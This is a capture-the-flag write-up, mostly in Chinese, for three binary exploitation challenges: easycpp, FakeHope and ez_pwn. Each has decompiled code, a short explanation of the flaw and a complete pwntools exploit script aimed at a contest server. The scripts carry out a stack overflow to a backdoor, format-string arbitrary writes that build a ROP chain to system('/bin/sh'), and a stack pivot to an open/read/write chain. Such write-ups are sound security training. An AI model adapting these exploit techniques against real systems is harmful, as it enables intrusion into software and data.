easycpp

std::ios_base::width 这段代码设置了输入长度为96,buf距离rbp的距离为 0x90,不过 strcmp(s1, s2); 这里cmp成功的话走到后边cpy就会有一个溢出,程序存在一个backdoor函数,ret2text

int __cdecl main(int argc, const char **argv, const char **envp)
{
  __int64 v3; // rax
  __int64 v4; // rax
  __int64 v5; // rax
  __int64 v6; // rax
  __int64 v7; // rax
  __int64 v8; // rax
  __int64 v9; // rax
  __int64 v10; // rax
  __int64 v11; // rax
  __int64 v12; // rax
  __int64 v13; // rax
  __int64 v14; // rax
  __int64 v15; // rax
  __int64 v16; // rax
  __int64 v17; // rax
  char s2[96]; // [rsp+0h] [rbp-90h] BYREF
  char s1[44]; // [rsp+60h] [rbp-30h] BYREF
  unsigned int v21; // [rsp+8Ch] [rbp-4h]

  init();
  v3 = std::operator<<<char>(&std::cout, &str02[abi:cxx11]);
  std::ostream::operator<<(v3, &std::endl<char,std::char_traits<char>>);
  v4 = std::operator<<<char>(&std::cout, &str03[abi:cxx11]);
  std::ostream::operator<<(v4, &std::endl<char,std::char_traits<char>>);
  v5 = std::operator<<<char>(&std::cout, &str04[abi:cxx11]);
  std::ostream::operator<<(v5, &std::endl<char,std::char_traits<char>>);
  v6 = std::operator<<<char>(&std::cout, &str05[abi:cxx11]);
  std::ostream::operator<<(v6, &std::endl<char,std::char_traits<char>>);
  v7 = std::operator<<<char>(&std::cout, &str06[abi:cxx11]);
  std::ostream::operator<<(v7, &std::endl<char,std::char_traits<char>>);
  v8 = std::operator<<<char>(&std::cout, &str07[abi:cxx11]);
  std::ostream::operator<<(v8, &std::endl<char,std::char_traits<char>>);
  v9 = std::operator<<<char>(&std::cout, &str08[abi:cxx11]);
  std::ostream::operator<<(v9, &std::endl<char,std::char_traits<char>>);
  v10 = std::operator<<<char>(&std::cout, &str09[abi:cxx11]);
  std::ostream::operator<<(v10, &std::endl<char,std::char_traits<char>>);
  v11 = std::operator<<<char>(&std::cout, &str10[abi:cxx11]);
  std::ostream::operator<<(v11, &std::endl<char,std::char_traits<char>>);
  v12 = std::operator<<<char>(&std::cout, &str11[abi:cxx11]);
  std::ostream::operator<<(v12, &std::endl<char,std::char_traits<char>>);
  v13 = std::operator<<<char>(&std::cout, &str12[abi:cxx11]);
  v14 = std::ostream::operator<<(v13, &std::endl<char,std::char_traits<char>>);
  std::ostream::operator<<(v14, &std::endl<char,std::char_traits<char>>);
  v15 = std::operator<<<char>(&std::cout, &str01[abi:cxx11]);
  std::ostream::operator<<(v15, &std::endl<char,std::char_traits<char>>);
  v16 = std::operator<<<std::char_traits<char>>(&std::cout, "Tell me,which ctf is the best CTF?");
  std::ostream::operator<<(v16, &std::endl<char,std::char_traits<char>>);
  std::ios_base::width((std::ios_base *)&unk_404250, 96LL);
  std::operator>><char,std::char_traits<char>>(&std::cin, s2);
  v17 = std::operator<<<std::char_traits<char>>(&std::cout, s2);
  std::ostream::operator<<(v17, &std::endl<char,std::char_traits<char>>);
  strcpy(s1, "HZNUCTF,bestCTF!");
  v21 = strcmp(s1, s2);
  std::ostream::operator<<(&std::cout, v21);
  if ( v21 )
  {
    std::operator<<<std::char_traits<char>>(&std::cout, "Well, maybe you can try to believe HZNUCTF.");
  }
  else
  {
    memcpy(s1, s2, 0x60uLL);
    std::operator<<<std::char_traits<char>>(&std::cout, "You are right!");
    std::operator<<<std::char_traits<char>>(&std::cout, s1);
  }
  return 0;
}

exp:

from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 0
IP = "150.158.117.224"
PORT = 20023

elf = context.binary = ELF('./easycpp')
libc = elf.libc

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

p = connect()

backdoor = 0x4012FE

payload = b'HZNUCTF,bestCTF!'
payload = payload.ljust(0x18,b'\x00') + p64(backdoor) * 10
# g(p)
sla("Tell me,which ctf is the best CTF?",payload)


p.interactive()

FakeHope

保护全开,同时输入函数是 scanf %s 存在 00截断,可以找一个指向栈的双重指针,通过这个双重指针往栈上写一个地址,这样就实现任意地址读写了,通过双重指针去调整这个地址,就能实现写 四个字节 八个字节的长数据,发现是低版本的libc,csu会被编译到elf里面,本来想着在buf附近用格式化字符串写rop 用csu去调整rsp的位置,但是buf那边有几个操作会修改buf里的数据,不太好布置,然后就往返回地址那写rop, 因为程序不能正常返回,不过只需要劫持子函数的返回地址为leave ret 就能正常返回了

int __cdecl main(int argc, const char **argv, const char **envp)
{
  hope(argc, argv, envp);
  return 0;
}
unsigned __int64 hope()
{
  char format[264]; // [rsp+0h] [rbp-110h] BYREF
  unsigned __int64 v2; // [rsp+108h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  init();
  do
  {
    __isoc99_scanf(&unk_2004, format);
    printf(format);
    putchar(10);
  }
  while ( strcmp(format, "exit") );
  system("echo FakeHope");
  return __readfsqword(0x28u) ^ v2;
}

exp写的很烂,不过懒得改了(

exp:

from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 0
IP = "150.158.117.224"
PORT = 20022

elf = context.binary = ELF('./FakeHope')
libc = elf.libc

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

p = connect()

payload = b"%35$p-%43$p" 
sl(payload)

elf_base = int(r(14),16) - (0x64275a0c837d - 0x64275a0c7000)
success(f"elf_base ->{hex(elf_base)}")
ru('-')
libc_base = int(r(14),16) - (0x7234d1a20848 - 0x7234d1a00000)
success(f"libc_base ->{hex(libc_base)}")

rdi = elf_base + 0x0000000000001393
ret = elf_base + 0x000000000000101a
binsh = libc_base + 0x18ce57 + 0x8
system = libc_base + libc.sym['system'] + 0x8
leave_ret = elf_base + 0x000000000000130a


# 36:01b0│     0x7ffe1c3d3a38 —▸ 0x7ffe1c3d3aa8 —▸ 0x7ffe1c3d5583 ◂— 'SHELL=/bin/bash' 59
# 44:0220│     0x7ffe1c3d3aa8 —▸ 0x7ffe1c3d5583 ◂— 'SHELL=/bin/bash' 73

# 28:0148│     0x7ffc11eb7fe8 —▸ 0x7ffc11eb80b8 —▸ 0x7ffc11eb9557 ◂— '/home/lhj/Desktop/hznuctf/FakeHope/FakeHope' 45
# 42:0210│     0x7ffc11eb80b8 —▸ 0x7ffc11eb9557 ◂— '/home/lhj/Desktop/hznuctf/FakeHope/FakeHope' 71

payload = "%59$p"
sl(payload)
ru("0x")
leak = int(r(12),16) # 59 content
success(hex(leak))
return_addr = leak - (0x7ffd2282a748 - 0x7ffd2282a648)
printf_return_addr = return_addr - (0x7ffc11eb7fc8 - 0x7ffc11eb7ea8)
main = elf_base + 0x1296




payload = b"%" + str((printf_return_addr) & 0xffff).encode() + b'c%59$hn'
time.sleep(0.3)
sl(payload)



###### 在 return_addr 的位置 写一个 ret的gadget
###########################################################################
payload = b"%" + str((return_addr) & 0xffff).encode() + b'c%45$hn'
time.sleep(0.3)
sl(payload)

payload = b"%" + str((main) & 0xff).encode() + b'c%73$hhn'
payload += b"%" + str(((ret) & 0xff) + (0x100 - (main & 0xff))).encode() + b'c%71$hhn'
time.sleep(0.3)
sl(payload)

payload = b"%" + str((main) & 0xff).encode() + b'c%73$hhn'
payload += b"%" + str(((return_addr + 1) & 0xff) + (0x100 - (main & 0xff))).encode() + b'c%45$hhn'
time.sleep(0.3)
sl(payload)
payload = b"%" + str((main) & 0xff).encode() + b'c%73$hhn'
payload += b"%" + str(((ret >> 8) & 0xff) + (0x100 - (main & 0xff))).encode() + b'c%71$hhn'
time.sleep(0.3)
sl(payload)

payload = b"%" + str((main) & 0xff).encode() + b'c%73$hhn'
payload += b"%" + str(((return_addr + 2) & 0xff) + (0x100 - (main & 0xff))).encode() + b'c%45$hhn'
time.sleep(0.3)
sl(payload)
payload = b"%" + str((main) & 0xff).encode() + b'c%73$hhn'
payload += b"%" + str(((ret >> 16) & 0xff) + (0x100 - (main & 0xff))).encode() + b'c%71$hhn'
time.sleep(0.3)
sl(payload)

payload = b"%" + str((main) & 0xff).encode() + b'c%73$hhn'
payload += b"%" + str(((return_addr + 3) & 0xff) + (0x100 - (main & 0xff))).encode() + b'c%45$hhn'
time.sleep(0.3)
sl(payload)
payload = b"%" + str((main) & 0xff).encode() + b'c%73$hhn'
payload += b"%" + str(((ret >> 24) & 0xff) + (0x100 - (main & 0xff))).encode() + b'c%71$hhn'
time.sleep(0.3)
sl(payload)

payload = b"%" + str((main) & 0xff).encode() + b'c%73$hhn'
payload += b"%" + str(((return_addr + 4) & 0xff) + (0x100 - (main & 0xff))).encode() + b'c%45$hhn'
time.sleep(0.3)
sl(payload)
payload = b"%" + str((main) & 0xff).encode() + b'c%73$hhn'
payload += b"%" + str(((ret >> 32) & 0xff) + (0x100 - (main & 0xff))).encode() + b'c%71$hhn'
time.sleep(0.3)
sl(payload)

payload = b"%" + str((main) & 0xff).encode() + b'c%73$hhn'
payload += b"%" + str(((return_addr + 5) & 0xff) + (0x100 - (main & 0xff))).encode() + b'c%45$hhn'
time.sleep(0.3)
sl(payload)
payload = b"%" + str((main) & 0xff).encode() + b'c%73$hhn'
payload += b"%" + str(((ret >> 40) & 0xff) + (0x100 - (main & 0xff))).encode() + b'c%71$hhn'
time.sleep(0.3)
sl(payload)
##########################################################################






######### 在 return_addr + 8 的位置 写一个 pop rdi ret的gadget
payload = b"%" + str((main) & 0xff).encode() + b'c%73$hhn'
payload += b"%" + str(((return_addr + 8) & 0xff) + (0x100 - (main & 0xff))).encode() + b'c%45$hhn'
time.sleep(0.3)
sl(payload)
payload = b"%" + str((main) & 0xff).encode() + b'c%73$hhn'
payload += b"%" + str(((rdi) & 0xff) + (0x100 - (main & 0xff))).encode() + b'c%71$hhn'
time.sleep(0.3)
sl(payload)

payload = b"%" + str((main) & 0xff).encode() + b'c%73$hhn'
payload += b"%" + str(((return_addr + 8 + 1) & 0xff) + (0x100 - (main & 0xff))).encode() + b'c%45$hhn'
time.sleep(0.3)
sl(payload)
payload = b"%" + str((main) & 0xff).encode() + b'c%73$hhn'
payload += b"%" + str(((rdi >> 8) & 0xff) + (0x100 - (main & 0xff))).encode() + b'c%71$hhn'
time.sleep(0.3)
sl(payload)

payload = b"%" + str((main) & 0xff).encode() + b'c%73$hhn'
payload += b"%" + str(((return_addr + 8 + 2) & 0xff) + (0x100 - (main & 0xff))).encode() + b'c%45$hhn'
time.sleep(0.3)
sl(payload)
payload = b"%" + str((main) & 0xff).encode() + b'c%73$hhn'
payload += b"%" + str(((rdi >> 16) & 0xff) + (0x100 - (main & 0xff))).encode() + b'c%71$hhn'
time.sleep(0.3)
sl(payload)

payload = b"%" + str((main) & 0xff).encode() + b'c%73$hhn'
payload += b"%" + str(((return_addr + 8 + 3) & 0xff) + (0x100 - (main & 0xff))).encode() + b'c%45$hhn'
time.sleep(0.3)
sl(payload)
payload = b"%" + str((main) & 0xff).encode() + b'c%73$hhn'
payload += b"%" + str(((rdi >> 24) & 0xff) + (0x100 - (main & 0xff))).encode() + b'c%71$hhn'
time.sleep(0.3)
sl(payload)

payload = b"%" + str((main) & 0xff).encode() + b'c%73$hhn'
payload += b"%" + str(((return_addr + 8 + 4) & 0xff) + (0x100 - (main & 0xff))).encode() + b'c%45$hhn'
time.sleep(0.3)
sl(payload)
payload = b"%" + str((main) & 0xff).encode() + b'c%73$hhn'
payload += b"%" + str(((rdi >> 32) & 0xff) + (0x100 - (main & 0xff))).encode() + b'c%71$hhn'
time.sleep(0.3)
sl(payload)

payload = b"%" + str((main) & 0xff).encode() + b'c%73$hhn'
payload += b"%" + str(((return_addr + 8 + 5) & 0xff) + (0x100 - (main & 0xff))).encode() + b'c%45$hhn'
time.sleep(0.3)
sl(payload)
payload = b"%" + str((main) & 0xff).encode() + b'c%73$hhn'
payload += b"%" + str(((rdi >> 40) & 0xff) + (0x100 - (main & 0xff))).encode() + b'c%71$hhn'
time.sleep(0.3)
sl(payload)
###################################################################################################################


############################################ 在 return_addr + 16 的位置 写一个 binsh字符串的地址
payload = b"%" + str((main) & 0xff).encode() + b'c%73$hhn'
payload += b"%" + str(((return_addr + 16) & 0xff) + (0x100 - (main & 0xff))).encode() + b'c%45$hhn'
time.sleep(0.3)
sl(payload)
payload = b"%" + str((main) & 0xff).encode() + b'c%73$hhn'
payload += b"%" + str(((binsh) & 0xff) + (0x100 - (main & 0xff))).encode() + b'c%71$hhn'
time.sleep(0.3)
sl(payload)

payload = b"%" + str((main) & 0xff).encode() + b'c%73$hhn'
payload += b"%" + str(((return_addr + 16 + 1) & 0xff) + (0x100 - (main & 0xff))).encode() + b'c%45$hhn'
time.sleep(0.3)
sl(payload)
payload = b"%" + str((main) & 0xff).encode() + b'c%73$hhn'
payload += b"%" + str(((binsh >> 8) & 0xff) + (0x100 - (main & 0xff))).encode() + b'c%71$hhn'
time.sleep(0.3)
sl(payload)

payload = b"%" + str((main) & 0xff).encode() + b'c%73$hhn'
payload += b"%" + str(((return_addr + 16 + 2) & 0xff) + (0x100 - (main & 0xff))).encode() + b'c%45$hhn'
time.sleep(0.3)
sl(payload)
payload = b"%" + str((main) & 0xff).encode() + b'c%73$hhn'
payload += b"%" + str(((binsh >> 16) & 0xff) + (0x100 - (main & 0xff))).encode() + b'c%71$hhn'
time.sleep(0.3)
sl(payload)

payload = b"%" + str((main) & 0xff).encode() + b'c%73$hhn'
payload += b"%" + str(((return_addr + 16 + 3) & 0xff) + (0x100 - (main & 0xff))).encode() + b'c%45$hhn'
time.sleep(0.3)
sl(payload)
payload = b"%" + str((main) & 0xff).encode() + b'c%73$hhn'
payload += b"%" + str(((binsh >> 24) & 0xff) + (0x100 - (main & 0xff))).encode() + b'c%71$hhn'
time.sleep(0.3)
sl(payload)

payload = b"%" + str((main) & 0xff).encode() + b'c%73$hhn'
payload += b"%" + str(((return_addr + 16 + 4) & 0xff) + (0x100 - (main & 0xff))).encode() + b'c%45$hhn'
time.sleep(0.3)
sl(payload)
payload = b"%" + str((main) & 0xff).encode() + b'c%73$hhn'
payload += b"%" + str(((binsh >> 32) & 0xff) + (0x100 - (main & 0xff))).encode() + b'c%71$hhn'
time.sleep(0.3)
sl(payload)

payload = b"%" + str((main) & 0xff).encode() + b'c%73$hhn'
payload += b"%" + str(((return_addr + 16 + 5) & 0xff) + (0x100 - (main & 0xff))).encode() + b'c%45$hhn'
time.sleep(0.3)
sl(payload)
payload = b"%" + str((main) & 0xff).encode() + b'c%73$hhn'
payload += b"%" + str(((binsh >> 40) & 0xff) + (0x100 - (main & 0xff))).encode() + b'c%71$hhn'
time.sleep(0.3)


########################### 写system函数的地址
payload = b"%" + str((main) & 0xff).encode() + b'c%73$hhn'
payload += b"%" + str(((return_addr + 24) & 0xff) + (0x100 - (main & 0xff))).encode() + b'c%45$hhn'
time.sleep(0.3)
sl(payload)
payload = b"%" + str((main) & 0xff).encode() + b'c%73$hhn'
payload += b"%" + str(((system) & 0xff) + (0x100 - (main & 0xff))).encode() + b'c%71$hhn'
time.sleep(0.3)
sl(payload)

payload = b"%" + str((main) & 0xff).encode() + b'c%73$hhn'
payload += b"%" + str(((return_addr + 24 + 1) & 0xff) + (0x100 - (main & 0xff))).encode() + b'c%45$hhn'
time.sleep(0.3)
sl(payload)
payload = b"%" + str((main) & 0xff).encode() + b'c%73$hhn'
payload += b"%" + str(((system >> 8) & 0xff) + (0x100 - (main & 0xff))).encode() + b'c%71$hhn'
time.sleep(0.3)
sl(payload)

payload = b"%" + str((main) & 0xff).encode() + b'c%73$hhn'
payload += b"%" + str(((return_addr + 24 + 2) & 0xff) + (0x100 - (main & 0xff))).encode() + b'c%45$hhn'
time.sleep(0.3)
sl(payload)
payload = b"%" + str((main) & 0xff).encode() + b'c%73$hhn'
payload += b"%" + str(((system >> 16) & 0xff) + (0x100 - (main & 0xff))).encode() + b'c%71$hhn'
time.sleep(0.3)
sl(payload)

payload = b"%" + str((main) & 0xff).encode() + b'c%73$hhn'
payload += b"%" + str(((return_addr + 24 + 3) & 0xff) + (0x100 - (main & 0xff))).encode() + b'c%45$hhn'
time.sleep(0.3)
sl(payload)
payload = b"%" + str((main) & 0xff).encode() + b'c%73$hhn'
payload += b"%" + str(((system >> 24) & 0xff) + (0x100 - (main & 0xff))).encode() + b'c%71$hhn'
time.sleep(0.3)
sl(payload)

payload = b"%" + str((main) & 0xff).encode() + b'c%73$hhn'
payload += b"%" + str(((return_addr + 24 + 4) & 0xff) + (0x100 - (main & 0xff))).encode() + b'c%45$hhn'
time.sleep(0.3)
sl(payload)
payload = b"%" + str((main) & 0xff).encode() + b'c%73$hhn'
payload += b"%" + str(((system >> 32) & 0xff) + (0x100 - (main & 0xff))).encode() + b'c%71$hhn'
time.sleep(0.3)
sl(payload)

payload = b"%" + str((main) & 0xff).encode() + b'c%73$hhn'
payload += b"%" + str(((return_addr + 24 + 5) & 0xff) + (0x100 - (main & 0xff))).encode() + b'c%45$hhn'
time.sleep(0.3)
sl(payload)
payload = b"%" + str((main) & 0xff).encode() + b'c%73$hhn'
payload += b"%" + str(((system >> 40) & 0xff) + (0x100 - (main & 0xff))).encode() + b'c%71$hhn'
time.sleep(0.3)
sl(payload)

payload = b"%" + str((leave_ret) & 0xffff).encode() + b'c%73$hn'
# g(p)
sl(payload)


p.interactive()

ez_pwn

非栈上格式化字符串orw,要过一个随机数,read那可以把随机数种子覆盖掉,然后栈迁移打orw就好了,栈迁移后会把rbp弄没,open的时候传参依赖于rbp,所以open可能会失败

int __cdecl main(int argc, const char **argv, const char **envp)
{
  sand_box(argc, argv, envp);
  rand_time();
  vuln();
  return 0;
}

void rand_time()
{
  char buf[8]; // [rsp+0h] [rbp-10h] BYREF
  unsigned int seed; // [rsp+8h] [rbp-8h] BYREF
  int i; // [rsp+Ch] [rbp-4h]

  seed = time(0LL);
  printf("welcome to HZNUCTF !");
  printf("Please input your name: ");
  read(0, buf, 0x10uLL);
  printf("Hello, %s\n", buf);
  puts("I wonder if you're lucky enough");
  srand(seed);
  for ( i = 0; i <= 9; ++i )
  {
    printf("Let's guess the number: ");
    __isoc99_scanf("%d", &seed);
    if ( rand() != seed )
    {
      puts("Wrong.");
      puts("Guess you weren't lucky enough.");
      exit(-1);
    }
    puts("Right.");
  }
}

__int64 vuln()
{
  puts("WOW you really a lucky guy!");
  puts("Then I want to know if you are capable enough.");
  while ( 1 )
  {
    printf("Please tell us something: ");
    read(0, s1, 0x80uLL);
    if ( !strcmp(s1, "HZNUCTF") )
      break;
    printf(s1);
  }
  return 0LL;
}

exp:

from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 1
IP = "150.158.117.224"
PORT = 20042

elf = context.binary = ELF('./ez_pwn')
libc = elf.libc

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

cdll=ctypes.CDLL("./libc-2.31.so")


p = connect()

payload=b"a"*8+p32(0)+p32(0x20)
sa("Please input your name: ",payload)
cdll.srand(0)
for i in range(10):
	payload=cdll.rand()
	sla("Let's guess the number: ",str(payload))

payload=b"%6$p%7$p%9$p"+b"HZNUCTF\x00"
sa("Please tell us something: ",payload)

stack=int(p.recv(14).decode("utf-8"),16)
log.success(f"rbp->{hex(stack)}")
leek_main=int(p.recv(14).decode("utf-8"),16)
main=leek_main-38
log.success(f"main->{hex(main)}")
pie=main-0x14df
log.success(f"pie->{hex(pie)}")
libc_base=int(p.recv(14).decode("utf-8"),16)-libc.sym["__libc_start_main"]-243
log.success(f"libc_base->{hex(libc_base)}")
bss=pie+0x4060
leave_ret=pie+0x1369

payload=f"%{(stack&0xffff)-0x8}c%11$hnHZNUCTF\x00".encode()
sa("Please tell us something: ",payload)
payload=f"%{(leave_ret&0xffff)}c%39$hnHZNUCTF\x00".encode()
sa("Please tell us something: ",payload)
payload=f"%{(stack&0xffff)+0x28}c%11$hnHZNUCTF\x00".encode()
sa("Please tell us something: ",payload)
payload=f"%{(bss&0xffff)}c%39$hnHZNUCTF\x00".encode()
sa("Please tell us something: ",payload)
payload=f"%{(stack&0xffff)+0x30}c%11$hnHZNUCTF\x00".encode()
sa("Please tell us something: ",payload)
payload=f"%{(leave_ret&0xffff)}c%39$hnHZNUCTF\x00".encode()
sa("Please tell us something: ",payload)

payload=f"%{(stack&0xffff)-0x10}c%11$hnHZNUCTF\x00".encode()
sa("Please tell us something: ",payload)
payload=f"%{(stack&0xffff)+0x28}c%39$hnHZNUCTF\x00".encode()
sa("Please tell us something: ",payload)

open=libc_base+libc.sym["open"]
read=libc_base+libc.sym["read"]
write=libc_base+libc.sym["write"]
pop_rdi=pie+0x1573
pop_rsi=libc_base+0x2601f
pop_rdx=libc_base+0x15fae6
flag=bss+0xe0
buf=bss+0x100

payload=b"HZNUCTF\x00"
payload += p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(bss+0x48) + p64(pop_rdx) + p64(0x110) + p64(0)
payload += p64(read)
sa("Please tell us something: ",payload)

payload = p64(pop_rdi) + p64(flag) + p64(open)
payload += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(buf) + p64(pop_rdx) + p64(0x30) + p64(0) + p64(read) 
payload += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(buf) + p64(pop_rdx) + p64(0x30) + p64(0) + p64(write)+b"./flag\x00"
s(payload)

p.interactive()
⬆︎TOP